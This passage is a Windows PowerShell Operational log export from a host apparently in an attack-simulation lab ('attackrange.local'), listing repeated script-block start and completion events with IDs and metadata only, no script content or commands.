09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047194
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047193
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047188
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047187
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047165
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047164
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047163
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047162
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
